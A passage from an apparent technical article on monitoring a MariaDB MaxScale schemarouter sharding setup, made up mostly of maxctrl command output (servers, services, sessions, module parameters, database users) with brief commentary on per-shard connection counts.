│ shard4 │ 10.139.158.1 │ 3366 │ 0 │ Running │ 0-3366-119848 │ Sharding-Monitor │
└────────┴──────────────┴──────┴─────────────┴─────────┴───────────────┴──────────────────┘

The difference between drain and maintenance is that with drain, no new connections are allowed to the shard, but existing connections wait until they are closed. With maintenance, the connections are terminated immediately by force.

Observation of a MariaDB MaxScale sharding system

The MaxScale CLI client maxtrl can be used to query the status of the MariaDB MaxScale load balancer. There are numerous commands for this, mainly list and show:

shell> maxctrl show module schemarouter | head -n 12
┌─────────────┬────────────────────────────────────────────────┐
│ Module │ schemarouter │
├─────────────┼────────────────────────────────────────────────┤
│ Type │ Router │
├─────────────┼────────────────────────────────────────────────┤
│ Version │ V1.0.0 │
├─────────────┼────────────────────────────────────────────────┤
│ Maturity │ Beta │
├─────────────┼────────────────────────────────────────────────┤
│ Description │ A database sharding router for simple sharding │
├─────────────┼────────────────────────────────────────────────┤
│ Parameters │ ... │

shell> maxctrl list servers
┌────────┬──────────────┬──────┬─────────────┬─────────┬───────────────┬──────────────────┐
│ Server │ Address │ Port │ Connections │ State │ GTID │ Monitor │
├────────┼──────────────┼──────┼─────────────┼─────────┼───────────────┼──────────────────┤
│ shard2 │ 10.139.158.1 │ 3364 │ 4 │ Running │ 0-3364-290859 │ Sharding-Monitor │
├────────┼──────────────┼──────┼─────────────┼─────────┼───────────────┼──────────────────┤
│ shard3 │ 10.139.158.1 │ 3365 │ 4 │ Running │ 0-3365-322671 │ Sharding-Monitor │
├────────┼──────────────┼──────┼─────────────┼─────────┼───────────────┼──────────────────┤
│ shard4 │ 10.139.158.1 │ 3366 │ 4 │ Running │ 0-3366-140018 │ Sharding-Monitor │
└────────┴──────────────┴──────┴─────────────┴─────────┴───────────────┴──────────────────┘

The information for the Connections column is confusing because in this case we only have 1, 1 and 2 connections open on each shard in this sharding system.

However, if you look at the situation on the respective shard with SHOW PROCESSLIST, you can see that MaxScale also establishes a connection on EACH shard for each incoming connection. So the display above is actually technically correct, just not what you would expect:

SQL> SHOW PROCESSLIST;
+--------+------------------+----------------------+---------------+---------+------+----------+-----------------------------------------------------------------+----------+
| Id | User | Host | db | Command | Time | State | Info | Progress |
+--------+------------------+----------------------+---------------+---------+------+----------+-----------------------------------------------------------------+----------+
| 123 | root | localhost | customer_0021 | Query | 0 | starting | show processlist | 0.000 |
| 68107 | maxscale_monitor | 10.139.158.211:35418 | NULL | Sleep | 0 | | NULL | 0.000 |
| 113372 | app | 10.139.158.1:47548 | NULL | Sleep | 47 | | NULL | 0.000 |
| 113538 | app | 10.139.158.1:49058 | NULL | Sleep | 41 | | NULL | 0.000 |
| 113662 | app | 10.139.158.1:47072 | NULL | Sleep | 37 | | NULL | 0.000 |
| 114789 | app | 10.139.158.1:39574 | customer_0022 | Query | 0 | Updating | UPDATE sales SET product = 'Prepare to delete' WHERE id = 15622 | 0.000 |
+--------+------------------+----------------------+---------------+---------+------+----------+-----------------------------------------------------------------+----------+

This does not scale with large systems with hundreds or thousands of clients! Maybe the MariaDB thread pool feature is used in this case.

According to the MaxScale developer, this is expected behaviour… (MXS-4977)

shell> maxctrl list services
┌─────────────────┬──────────────┬─────────────┬───────────────────┬────────────────────────┐
│ Service │ Router │ Connections │ Total Connections │ Targets │
├─────────────────┼──────────────┼─────────────┼───────────────────┼────────────────────────┤
│ Sharded-Service │ schemarouter │ 4 │ 82776 │ shard2, shard3, shard4 │
└─────────────────┴──────────────┴─────────────┴───────────────────┴────────────────────────┘

shell> maxctrl list listeners
┌──────────────────────────┬──────┬──────┬─────────┬─────────────────┐
│ Name │ Port │ Host │ State │ Service │
├──────────────────────────┼──────┼──────┼─────────┼─────────────────┤
│ Sharded-Service-Listener │ 3306 │ :: │ Running │ Sharded-Service │
└──────────────────────────┴──────┴──────┴─────────┴─────────────────┘

shell> maxctrl list monitors
┌──────────────────┬─────────┬────────────────────────┐
│ Monitor │ State │ Servers │
├──────────────────┼─────────┼────────────────────────┤
│ Sharding-Monitor │ Running │ shard2, shard3, shard4 │
└──────────────────┴─────────┴────────────────────────┘

shell> maxctrl show server shard2 | head -n 20
┌─────────────────────┬──────────────────────────────────────────────┐
│ Server │ shard2 │
├─────────────────────┼──────────────────────────────────────────────┤
│ Source │ /etc/maxscale.cnf │
├─────────────────────┼──────────────────────────────────────────────┤
│ Address │ 10.139.158.1 │
├─────────────────────┼──────────────────────────────────────────────┤
│ Port │ 3364 │
├─────────────────────┼──────────────────────────────────────────────┤
│ State │ Running │
├─────────────────────┼──────────────────────────────────────────────┤
│ Version │ 10.11.7-MariaDB-log │
├─────────────────────┼──────────────────────────────────────────────┤
│ Uptime │ 178960 │
├─────────────────────┼──────────────────────────────────────────────┤
│ Last Event │ server_down │
├─────────────────────┼──────────────────────────────────────────────┤
│ Triggered At │ Sun, 04 Feb 2024 07:37:17 GMT │
├─────────────────────┼──────────────────────────────────────────────┤
│ Services │ Sharded-Service │
├─────────────────────┼──────────────────────────────────────────────┤
│ Monitors │ Sharding-Monitor │
├─────────────────────┼──────────────────────────────────────────────┤
...
├─────────────────────┼──────────────────────────────────────────────┤
│ Current Connections │ 5 │
├─────────────────────┼──────────────────────────────────────────────┤
│ Total Connections │ 27 │
├─────────────────────┼──────────────────────────────────────────────┤
│ Max Connections │ 5 │

shell> maxctrl show service Sharded-Service
┌─────────────────────┬──────────────────────────────────────────────────────┐
│ Service │ Sharded-Service │
├─────────────────────┼──────────────────────────────────────────────────────┤
│ Source │ /var/lib/maxscale/maxscale.cnf.d/Sharded-Service.cnf │
├─────────────────────┼──────────────────────────────────────────────────────┤
│ Router │ schemarouter │
├─────────────────────┼──────────────────────────────────────────────────────┤
│ State │ Started │
├─────────────────────┼──────────────────────────────────────────────────────┤
│ Started At │ 3/18/2024, 1:52:30 PM │
├─────────────────────┼──────────────────────────────────────────────────────┤
│ Users Loaded At │ 3/18/2024, 1:52:30 PM │
├─────────────────────┼──────────────────────────────────────────────────────┤
│ Current Connections │ 4 │
├─────────────────────┼──────────────────────────────────────────────────────┤
│ Total Connections │ 84590 │
├─────────────────────┼──────────────────────────────────────────────────────┤
│ Max Connections │ 5 │
├─────────────────────┼──────────────────────────────────────────────────────┤
│ Cluster │ │
├─────────────────────┼──────────────────────────────────────────────────────┤
│ Servers │ shard2 │
│ │ shard3 │
│ │ shard4 │
├─────────────────────┼──────────────────────────────────────────────────────┤
│ Services │ │
├─────────────────────┼──────────────────────────────────────────────────────┤
│ Filters │ │
├─────────────────────┼──────────────────────────────────────────────────────┤
│ Parameters │ { │
│ │ "auth_all_servers": true, │
│ │ "connection_keepalive": "300000ms", │
│ │ "debug": true, │
│ │ "disable_sescmd_history": false, │
│ │ "enable_root_user": false, │
│ │ "force_connection_keepalive": false, │
│ │ "idle_session_pool_time": "-1ms", │
│ │ "ignore_tables": [], │
│ │ "ignore_tables_regex": null, │
│ │ "localhost_match_wildcard_host": true, │
│ │ "log_auth_warnings": true, │
│ │ "log_debug": true, │
│ │ "log_info": false, │
│ │ "log_notice": false, │
│ │ "log_warning": false, │
│ │ "max_connections": 0, │
│ │ "max_sescmd_history": 50, │
│ │ "max_staleness": "150000ms", │
│ │ "multiplex_timeout": "60000ms", │
│ │ "net_write_timeout": "0ms", │
│ │ "password": "*****", │
│ │ "prune_sescmd_history": true, │
│ │ "rank": "primary", │
│ │ "refresh_databases": false, │
│ │ "refresh_interval": "10000ms", │
│ │ "retain_last_statements": -1, │
│ │ "router": "schemarouter", │
│ │ "session_trace": false, │
│ │ "strip_db_esc": true, │
│ │ "type": "service", │
│ │ "user": "maxscale_admin", │
│ │ "user_accounts_file": null, │
│ │ "user_accounts_file_usage": "add_when_load_ok", │
│ │ "version_string": null, │
│ │ "wait_timeout": "0ms" │
│ │ } │
├─────────────────────┼──────────────────────────────────────────────────────┤
│ Router Diagnostics │ { │
│ │ "average_session": 0.028822357131634554, │
│ │ "longest_sescmd_chain": 4, │
│ │ "longest_session": 50, │
│ │ "queries": 761134, │
│ │ "sescmd_percentage": 44.44342257736483, │
│ │ "shard_map_hits": 84356, │
│ │ "shard_map_misses": 5, │
│ │ "shard_map_stale": 229, │
│ │ "shard_map_updates": 216, │
│ │ "shortest_session": 0, │
│ │ "times_sescmd_limit_exceeded": 0 │
│ │ } │
└─────────────────────┴──────────────────────────────────────────────────────┘

shell> maxctrl show monitor Sharding-Monitor
┌─────────────────────┬──────────────────────────────────────────────────────────┐
│ Monitor │ Sharding-Monitor │
├─────────────────────┼──────────────────────────────────────────────────────────┤
│ Source │ /etc/maxscale.cnf │
├─────────────────────┼──────────────────────────────────────────────────────────┤
│ Module │ galeramon │
├─────────────────────┼──────────────────────────────────────────────────────────┤
│ State │ Running │
├─────────────────────┼──────────────────────────────────────────────────────────┤
│ Servers │ shard1 │
│ │ shard2 │
│ │ shard3 │
├─────────────────────┼──────────────────────────────────────────────────────────┤
│ Parameters │ { │
│ │ "available_when_donor": false, │
│ │ "backend_connect_attempts": 1, │
│ │ "backend_connect_timeout": "3000ms", │
│ │ "backend_read_timeout": "3000ms", │
│ │ "backend_write_timeout": "3000ms", │
│ │ "disable_master_failback": false, │
│ │ "disable_master_role_setting": false, │
│ │ "disk_space_check_interval": "0ms", │
│ │ "disk_space_threshold": null, │
│ │ "events": "all,master_down,master_up,...,new_donor", │
│ │ "journal_max_age": "28800000ms", │
│ │ "module": "galeramon", │
│ │ "monitor_interval": "1000ms", │
│ │ "password": "*****", │
│ │ "root_node_as_master": false, │
│ │ "script": null, │
│ │ "script_timeout": "90000ms", │
│ │ "set_donor_nodes": false, │
│ │ "type": "monitor", │
│ │ "use_priority": false, │
│ │ "user": "maxscale_monitor" │
│ │ } │
├─────────────────────┼──────────────────────────────────────────────────────────┤
│ Monitor Diagnostics │ { │
│ │ "disable_master_failback": false, │
│ │ "disable_master_role_setting": false, │
│ │ "root_node_as_master": false, │
│ │ "server_info": [ │
│ │ { │
│ │ "gtid_binlog_pos": "0-3363-26014", │
│ │ "gtid_current_pos": "0-3363-26014", │
│ │ "master_id": 0, │
│ │ "name": "shard1", │
│ │ "read_only": false, │
│ │ "server_id": 3363 │
│ │ }, │
│ │ { │
│ │ "gtid_binlog_pos": "0-3364-240612", │
│ │ "gtid_current_pos": "0-3364-240612", │
│ │ "master_id": 0, │
│ │ "name": "shard2", │
│ │ "read_only": false, │
│ │ "server_id": 3364 │
│ │ }, │
│ │ { │
│ │ "gtid_binlog_pos": "0-3365-289873", │
│ │ "gtid_current_pos": "0-3365-289873", │
│ │ "master_id": 0, │
│ │ "name": "shard3", │
│ │ "read_only": false, │
│ │ "server_id": 3365 │
│ │ } │
│ │ ], │
│ │ "set_donor_nodes": false, │
│ │ "use_priority": false │
│ │ } │
└─────────────────────┴──────────────────────────────────────────────────────────┘

shell> maxctrl list sessions;
┌───────┬──────┬──────────────┬───────────────────────┬───────┬─────────────────┬────────┬──────────────┐
│ Id │ User │ Host │ Connected │ Idle │ Service │ Memory │ I/O-Activity │
├───────┼──────┼──────────────┼───────────────────────┼───────┼─────────────────┼────────┼──────────────┤
│ 87240 │ app │ 10.139.158.1 │ 3/18/2024, 2:33:54 PM │ 0 │ Sharded-Service │ 68644 │ 33 │
├───────┼──────┼──────────────┼───────────────────────┼───────┼─────────────────┼────────┼──────────────┤
│ 72654 │ app │ 10.139.158.1 │ 3/18/2024, 2:25:27 PM │ 506.3 │ Sharded-Service │ 199328 │ 0 │
├───────┼──────┼──────────────┼───────────────────────┼───────┼─────────────────┼────────┼──────────────┤
│ 72364 │ app │ 10.139.158.1 │ 3/18/2024, 2:25:18 PM │ 516 │ Sharded-Service │ 199328 │ 0 │
├───────┼──────┼──────────────┼───────────────────────┼───────┼─────────────────┼────────┼──────────────┤
│ 72530 │ app │ 10.139.158.1 │ 3/18/2024, 2:25:23 PM │ 510.5 │ Sharded-Service │ 199328 │ 0 │
└───────┴──────┴──────────────┴───────────────────────┴───────┴─────────────────┴────────┴──────────────┘

shell> maxctrl show session 26
┌───────────────────────┬───────────────────────────────────────┐
│ Id │ 26 │
├───────────────────────┼───────────────────────────────────────┤
│ Service │ Sharded-Service │
├───────────────────────┼───────────────────────────────────────┤
│ State │ Session started │
├───────────────────────┼───────────────────────────────────────┤
│ User │ app │
├───────────────────────┼───────────────────────────────────────┤
│ Host │ 10.139.158.1 │
├───────────────────────┼───────────────────────────────────────┤
│ Port │ 42854 │
├───────────────────────┼───────────────────────────────────────┤
│ Database │ │
├───────────────────────┼───────────────────────────────────────┤
│ Connected │ 2/4/2024, 9:31:12 AM │
├───────────────────────┼───────────────────────────────────────┤
│ Idle │ 610.4 │
├───────────────────────┼───────────────────────────────────────┤
│ Parameters │ { │
│ │ "log_error": false, │
│ │ "log_info": false, │
│ │ "log_notice": false, │
│ │ "log_warning": false │
│ │ } │
├───────────────────────┼───────────────────────────────────────┤
│ Client TLS Cipher │ │
├───────────────────────┼───────────────────────────────────────┤
│ Connection attributes │ { │
│ │ "_client_name": "libmariadb", │
│ │ "_client_version": "3.3.8", │
│ │ "_os": "Linux", │
│ │ "_pid": "251037", │
│ │ "_platform": "x86_64", │
│ │ "_server_host": "10.139.158.211", │
│ │ "program_name": "mysql" │
│ │ } │
├───────────────────────┼───────────────────────────────────────┤
│ Connections │ shard1 │
│ │ shard2 │
│ │ shard3 │
├───────────────────────┼───────────────────────────────────────┤
│ Connection IDs │ 666 │
│ │ 139 │
│ │ 138 │
├───────────────────────┼───────────────────────────────────────┤
│ Queries │ │
├───────────────────────┼───────────────────────────────────────┤
│ Log │ │
├───────────────────────┼───────────────────────────────────────┤
│ Memory │ { │
│ │ "connection_buffers": { │
│ │ "backends": { │
│ │ "shard1": { │
│ │ "misc": 678, │
│ │ "readq": 65536, │
│ │ "total": 66214, │
│ │ "writeq": 0 │
│ │ }, │
│ │ "shard2": { │
│ │ "misc": 662, │
│ │ "readq": 0, │
│ │ "total": 662, │
│ │ "writeq": 0 │
│ │ }, │
│ │ "shard3": { │
│ │ "misc": 678, │
│ │ "readq": 65536, │
│ │ "total": 66214, │
│ │ "writeq": 0 │
│ │ } │
│ │ }, │
│ │ "client": { │
│ │ "misc": 654, │
│ │ "readq": 65536, │
│ │ "total": 66190, │
│ │ "writeq": 0 │
│ │ }, │
│ │ "total": 199280 │
│ │ }, │
│ │ "exec_metadata": 0, │
│ │ "last_queries": 0, │
│ │ "sescmd_history": 48, │
│ │ "total": 199328, │
│ │ "variables": 0 │
│ │ } │
├───────────────────────┼───────────────────────────────────────┤
│ I/O Activity │ 0 │
└───────────────────────┴───────────────────────────────────────┘

shell> maxctrl show listener Sharded-Service-Listener
┌────────────┬───────────────────────────────────────────┐
│ Name │ Sharded-Service-Listener │
├────────────┼───────────────────────────────────────────┤
│ Source │ /etc/maxscale.cnf │
├────────────┼───────────────────────────────────────────┤
│ Service │ Sharded-Service │
├────────────┼───────────────────────────────────────────┤
│ Parameters │ { │
│ │ "MariaDBProtocol": { │
│ │ "allow_replication": true │
│ │ }, │
│ │ "address": "::", │
│ │ "authenticator": null, │
│ │ "authenticator_options": null, │
│ │ "connection_init_sql_file": null, │
│ │ "connection_metadata": [ │
│ │ "character_set_client=auto", │
│ │ "character_set_connection=auto", │
│ │ "character_set_results=auto", │
│ │ "max_allowed_packet=auto", │
│ │ "system_time_zone=auto", │
│ │ "time_zone=auto", │
│ │ "tx_isolation=auto" │
│ │ ], │
│ │ "port": 3306, │
│ │ "protocol": "MariaDBProtocol", │
│ │ "proxy_protocol_networks": null, │
│ │ "service": "Sharded-Service", │
│ │ "socket": null, │
│ │ "sql_mode": "default", │
│ │ "ssl": false, │
│ │ "ssl_ca": null, │
│ │ "ssl_cert": null, │
│ │ "ssl_cert_verify_depth": 9, │
│ │ "ssl_cipher": null, │
│ │ "ssl_crl": null, │
│ │ "ssl_key": null, │
│ │ "ssl_verify_peer_certificate": false, │
│ │ "ssl_verify_peer_host": false, │
│ │ "ssl_version": "MAX", │
│ │ "type": "listener", │
│ │ "user_mapping_file": null │
│ │ } │
└────────────┴───────────────────────────────────────────┘

shell> maxctrl show module schemarouter
┌─────────────┬─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┐
│ Module │ schemarouter │
├─────────────┼─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┤
│ Type │ Router │
├─────────────┼─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┤
│ Version │ V1.0.0 │
├─────────────┼─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┤
│ Maturity │ Beta │
├─────────────┼─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┤
│ Description │ A database sharding router for simple sharding │
├─────────────┼─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┤
│ Parameters │ [ │
│ │ { │
│ │ "default_value": false, │
│ │ "description": "Enable debug mode", │
│ │ "mandatory": false, │
│ │ "modifiable": true, │
│ │ "name": "debug", │
│ │ "type": "bool" │
│ │ }, │
│ │ { │
│ │ "default_value": [], │
│ │ "description": "List of tables to ignore when checking for duplicates", │
│ │ "mandatory": false, │
│ │ "modifiable": true, │
│ │ "name": "ignore_tables", │
│ │ "type": "stringlist" │
│ │ }, │
│ │ { │
│ │ "description": "Regex of tables to ignore when checking for duplicates", │
│ │ "mandatory": false, │
│ │ "modifiable": true, │
│ │ "name": "ignore_tables_regex", │
│ │ "type": "regex" │
│ │ }, │
│ │ { │
│ │ "default_value": "150000ms", │
│ │ "description": "Maximum allowed staleness of a database map entry before clients block and wait for an update", │
│ │ "mandatory": false, │
│ │ "modifiable": true, │
│ │ "name": "max_staleness", │
│ │ "type": "duration", │
│ │ "unit": "ms" │
│ │ }, │
│ │ { │
│ │ "default_value": false, │
│ │ "description": "Refresh database mapping information", │
│ │ "mandatory": false, │
│ │ "modifiable": true, │
│ │ "name": "refresh_databases", │
│ │ "type": "bool" │
│ │ }, │
│ │ { │
│ │ "default_value": "300000ms", │
│ │ "description": "How often to refresh the database mapping information", │
│ │ "mandatory": false, │
│ │ "modifiable": true, │
│ │ "name": "refresh_interval", │
│ │ "type": "duration", │
│ │ "unit": "ms" │
│ │ }, │
│ │ { │
│ │ "default_value": false, │
│ │ "description": "Retrieve users from all backend servers instead of only one", │
│ │ "mandatory": false, │
│ │ "modifiable": true, │
│ │ "name": "auth_all_servers", │
│ │ "type": "bool" │
│ │ }, │
│ │ { │
│ │ "default_value": "300000ms", │
│ │ "description": "How ofted idle connections are pinged", │
│ │ "mandatory": false, │
│ │ "modifiable": true, │
│ │ "name": "connection_keepalive", │
│ │ "type": "duration", │
│ │ "unit": "ms" │
│ │ }, │
│ │ { │
│ │ "deprecated": true, │
│ │ "description": "Alias for 'wait_timeout'", │
│ │ "mandatory": false, │
│ │ "modifiable": true, │
│ │ "name": "connection_timeout", │
│ │ "type": "duration" │
│ │ }, │
│ │ { │
│ │ "default_value": false, │
│ │ "description": "Disable session command history", │
│ │ "mandatory": false, │
│ │ "modifiable": true, │
│ │ "name": "disable_sescmd_history", │
│ │ "type": "bool" │
│ │ }, │
│ │ { │
│ │ "default_value": false, │
│ │ "description": "Allow the root user to connect to this service", │
│ │ "mandatory": false, │
│ │ "modifiable": true, │
│ │ "name": "enable_root_user", │
│ │ "type": "bool" │
│ │ }, │
│ │ { │
│ │ "default_value": false, │
│ │ "description": "Ping connections unconditionally", │
│ │ "mandatory": false, │
│ │ "modifiable": true, │
│ │ "name": "force_connection_keepalive", │
│ │ "type": "bool" │
│ │ }, │
│ │ { │
│ │ "default_value": "-1ms", │
│ │ "description": "Put connections into pool after session has been idle for this long", │
│ │ "mandatory": false, │
│ │ "modifiable": true, │
│ │ "name": "idle_session_pool_time", │
│ │ "type": "duration", │
│ │ "unit": "ms" │
│ │ }, │
│ │ { │
│ │ "default_value": true, │
│ │ "description": "Match localhost to wildcard host", │
│ │ "mandatory": false, │
│ │ "modifiable": true, │
│ │ "name": "localhost_match_wildcard_host", │
│ │ "type": "bool" │
│ │ }, │
│ │ { │
│ │ "default_value": true, │
│ │ "description": "Log a warning when client authentication fails", │
│ │ "mandatory": false, │
│ │ "modifiable": true, │
│ │ "name": "log_auth_warnings", │
│ │ "type": "bool" │
│ │ }, │
│ │ { │
│ │ "default_value": false, │
│ │ "description": "Log debug messages for this service (debug builds only)", │
│ │ "mandatory": false, │
│ │ "modifiable": true, │
│ │ "name": "log_debug", │
│ │ "type": "bool" │
│ │ }, │
│ │ { │
│ │ "default_value": false, │
│ │ "description": "Log info messages for this service", │
│ │ "mandatory": false, │
│ │ "modifiable": true, │
│ │ "name": "log_info", │
│ │ "type": "bool" │
│ │ }, │
│ │ { │
│ │ "default_value": false, │
│ │ "description": "Log notice messages for this service", │
│ │ "mandatory": false, │
│ │ "modifiable": true, │
│ │ "name": "log_notice", │
│ │ "type": "bool" │
│ │ }, │
│ │ { │
│ │ "default_value": false, │
│ │ "description": "Log warning messages for this service", │
│ │ "mandatory": false, │
│ │ "modifiable": true, │
│ │ "name": "log_warning", │
│ │ "type": "bool" │
│ │ }, │
│ │ { │
│ │ "default_value": 0, │
│ │ "description": "Maximum number of connections", │
│ │ "mandatory": false, │
│ │ "modifiable": true, │
│ │ "name": "max_connections", │
│ │ "type": "count" │
│ │ }, │
│ │ { │
│ │ "default_value": 50, │
│ │ "description": "Session command history size", │
│ │ "mandatory": false, │
│ │ "modifiable": true, │
│ │ "name": "max_sescmd_history", │
│ │ "type": "count" │
│ │ }, │
│ │ { │
│ │ "default_value": "60000ms", │
│ │ "description": "How long a session can wait for a connection to become available", │
│ │ "mandatory": false, │
│ │ "modifiable": true, │
│ │ "name": "multiplex_timeout", │
│ │ "type": "duration", │
│ │ "unit": "ms" │
│ │ }, │
│ │ { │
│ │ "default_value": "0ms", │
│ │ "description": "Network write timeout", │
│ │ "mandatory": false, │
│ │ "modifiable": true, │
│ │ "name": "net_write_timeout", │
│ │ "type": "duration", │
│ │ "unit": "ms" │
│ │ }, │
│ │ { │
│ │ "description": "Password for the user used to retrieve database users", │
│ │ "mandatory": true, │
│ │ "modifiable": true, │
│ │ "name": "password", │
│ │ "type": "password" │
│ │ }, │
│ │ { │
│ │ "default_value": true, │
│ │ "description": "Prune old session command history if the limit is exceeded", │
│ │ "mandatory": false, │
│ │ "modifiable": true, │
│ │ "name": "prune_sescmd_history", │
│ │ "type": "bool" │
│ │ }, │
│ │ { │
│ │ "default_value": "primary", │
│ │ "description": "Service rank", │
│ │ "enum_values": [ │
│ │ "primary", │
│ │ "secondary" │
│ │ ], │
│ │ "mandatory": false, │
│ │ "modifiable": true, │
│ │ "name": "rank", │
│ │ "type": "enum" │
│ │ }, │
│ │ { │
│ │ "default_value": -1, │
│ │ "description": "Number of statements kept in memory", │
│ │ "mandatory": false, │
│ │ "modifiable": true, │
│ │ "name": "retain_last_statements", │
│ │ "type": "int" │
│ │ }, │
│ │ { │
│ │ "default_value": false, │
│ │ "description": "Enable session tracing for this service", │
│ │ "mandatory": false, │
│ │ "modifiable": true, │
│ │ "name": "session_trace", │
│ │ "type": "bool" │
│ │ }, │
│ │ { │
│ │ "default_value": false, │
│ │ "deprecated": true, │
│ │ "description": "Track session state using server responses", │
│ │ "mandatory": false, │
│ │ "modifiable": true, │
│ │ "name": "session_track_trx_state", │
│ │ "type": "bool" │
│ │ }, │
│ │ { │
│ │ "default_value": true, │
│ │ "deprecated": true, │
│ │ "description": "Strip escape characters from database names", │
│ │ "mandatory": false, │
│ │ "modifiable": true, │
│ │ "name": "strip_db_esc", │
│ │ "type": "bool" │
│ │ }, │
│ │ { │
│ │ "description": "Username used to retrieve database users", │
│ │ "mandatory": true, │
│ │ "modifiable": true, │
│ │ "name": "user", │
│ │ "type": "string" │
│ │ }, │
│ │ { │
│ │ "description": "Load additional users from a file", │
│ │ "mandatory": false, │
│ │ "modifiable": false, │
│ │ "name": "user_accounts_file", │
│ │ "type": "path" │
│ │ }, │
│ │ { │
│ │ "default_value": "add_when_load_ok", │
│ │ "description": "When and how the user accounts file is used", │
│ │ "enum_values": [ │
│ │ "add_when_load_ok", │
│ │ "file_only_always" │
│ │ ], │
│ │ "mandatory": false, │
│ │ "modifiable": false, │
│ │ "name": "user_accounts_file_usage", │
│ │ "type": "enum" │
│ │ }, │
│ │ { │
│ │ "description": "Custom version string to use", │
│ │ "mandatory": false, │
│ │ "modifiable": true, │
│ │ "name": "version_string", │
│ │ "type": "string" │
│ │ }, │
│ │ { │
│ │ "default_value": "0ms", │
│ │ "description": "Connection idle timeout", │
│ │ "mandatory": false, │
│ │ "modifiable": true, │
│ │ "name": "wait_timeout", │
│ │ "type": "duration", │
│ │ "unit": "ms" │
│ │ } │
│ │ ] │
├─────────────┼─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┤
│ Commands │ [ │
│ │ { │
│ │ "attributes": { │
│ │ "arg_max": 1, │
│ │ "arg_min": 1, │
│ │ "description": "Clear schemarouter shard map cache", │
│ │ "method": "POST", │
│ │ "parameters": [ │
│ │ { │
│ │ "description": "The schemarouter service", │
│ │ "required": true, │
│ │ "type": "SERVICE" │
│ │ } │
│ │ ] │
│ │ }, │
│ │ "id": "clear", │
│ │ "links": { │
│ │ "self": "http://127.0.0.1:8989/v1/modules/schemarouter/clear/" │
│ │ }, │
│ │ "type": "module_command" │
│ │ }, │
│ │ { │
│ │ "attributes": { │
│ │ "arg_max": 1, │
│ │ "arg_min": 1, │
│ │ "description": "Invalidate schemarouter shard map cache", │
│ │ "method": "POST", │
│ │ "parameters": [ │
│ │ { │
│ │ "description": "The schemarouter service", │
│ │ "required": true, │
│ │ "type": "SERVICE" │
│ │ } │
│ │ ] │
│ │ }, │
│ │ "id": "invalidate", │
│ │ "links": { │
│ │ "self": "http://127.0.0.1:8989/v1/modules/schemarouter/invalidate/" │
│ │ }, │
│ │ "type": "module_command" │
│ │ } │
│ │ ] │
└─────────────┴─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┘

shell> maxctrl show commands schemarouter
┌────────────┬────────────┬──────────────────────────┐
│ Command │ Parameters │ Descriptions │
├────────────┼────────────┼──────────────────────────┤
│ clear │ SERVICE │ The schemarouter service │
├────────────┼────────────┼──────────────────────────┤
│ invalidate │ SERVICE │ The schemarouter service │
└────────────┴────────────┴──────────────────────────┘

shell> maxctrl show dbusers Sharded-Service
┌───────────────────────┬────────────────┬───────────────────────┬───────┬───────┬────────┬───────┬──────┐
│ User │ Host │ Plugin │ TLS │ Super │ Global │ Proxy │ Role │
├───────────────────────┼────────────────┼───────────────────────┼───────┼───────┼────────┼───────┼──────┤
│ PUBLIC │ │ │ false │ false │ false │ false │ │
├───────────────────────┼────────────────┼───────────────────────┼───────┼───────┼────────┼───────┼──────┤
│ app │ 10.139.158.% │ mysql_native_password │ false │ false │ false │ false │ │
├───────────────────────┼────────────────┼───────────────────────┼───────┼───────┼────────┼───────┼──────┤
│ app_role │ │ │ false │ false │ false │ false │ │
├───────────────────────┼────────────────┼───────────────────────┼───────┼───────┼────────┼───────┼──────┤
│ mariadb.sys │ localhost │ mysql_native_password │ false │ false │ false │ false │ │
├───────────────────────┼────────────────┼───────────────────────┼───────┼───────┼────────┼───────┼──────┤
│ maxscale_admin │ 10.139.158.210 │ mysql_native_password │ false │ false │ false │ false │ │
├───────────────────────┼────────────────┼───────────────────────┼───────┼───────┼────────┼───────┼──────┤
│ maxscale_admin │ 10.139.158.211 │ mysql_native_password │ false │ false │ false │ false │ │
├───────────────────────┼────────────────┼───────────────────────┼───────┼───────┼────────┼───────┼──────┤
│ maxscale_admin_role │ │ │ false │ false │ false │ false │ │
├───────────────────────┼────────────────┼───────────────────────┼───────┼───────┼────────┼───────┼──────┤
│ maxscale_monitor │ 10.139.158.210 │ mysql_native_password │ false │ false │ false │ false │ │
├───────────────────────┼────────────────┼───────────────────────┼───────┼───────┼────────┼───────┼──────┤
│ maxscale_monitor │ 10.139.158.211 │ mysql_native_password │ false │ false │ false │ false │ │
├───────────────────────┼────────────────┼───────────────────────┼───────┼───────┼────────┼───────┼──────┤
│ maxscale_monitor_role │ │ │ false │ false │ false │ false │ │
├───────────────────────┼────────────────┼───────────────────────┼───────┼───────┼────────┼───────┼──────┤
│ mysql │ localhost │ mysql_native_password │ false │ true │ true │ false │ │
├───────────────────────┼────────────────┼───────────────────────┼───────┼───────┼────────┼───────┼──────┤
│ root │ localhost │ mysql_native_password │ false │ true │ true │ false │ │
└───────────────────────┴────────────────┴───────────────────────┴───────┴───────┴────────┴───────┴──────┘

shell> maxctrl show commands mariadbmon
┌───────────────────────────┬─────────────────────────────┬───────────────────────────────────────────────────────────────────────────────┐
│ Command │ Parameters │ Descriptions │
├───────────────────────────┼─────────────────────────────┼───────────────────────────────────────────────────────────────────────────────┤
│ switchover │ MONITOR, [SERVER], [SERVER] │ Monitor name, New primary (optional), Current primary (optional) │
├───────────────────────────┼─────────────────────────────┼───────────────────────────────────────────────────────────────────────────────┤
│ switchover-force │ MONITOR, [SERVER], [SERVER] │ Monitor name, New primary (optional), Current primary (optional) │
├───────────────────────────┼─────────────────────────────┼───────────────────────────────────────────────────────────────────────────────┤
│ async-switchover │ MONITOR, [SERVER], [SERVER] │ Monitor name, New primary (optional), Current primary (optional) │
├───────────────────────────┼─────────────────────────────┼───────────────────────────────────────────────────────────────────────────────┤
│ failover │ MONITOR │ Monitor name │
├───────────────────────────┼─────────────────────────────┼───────────────────────────────────────────────────────────────────────────────┤
│ async-failover │ MONITOR │ Monitor name │
├───────────────────────────┼─────────────────────────────┼───────────────────────────────────────────────────────────────────────────────┤
│ rejoin │ MONITOR, SERVER │ Monitor name, Joining server │
├───────────────────────────┼─────────────────────────────┼───────────────────────────────────────────────────────────────────────────────┤
│ async-rejoin │ MONITOR, SERVER │ Monitor name, Joining server │
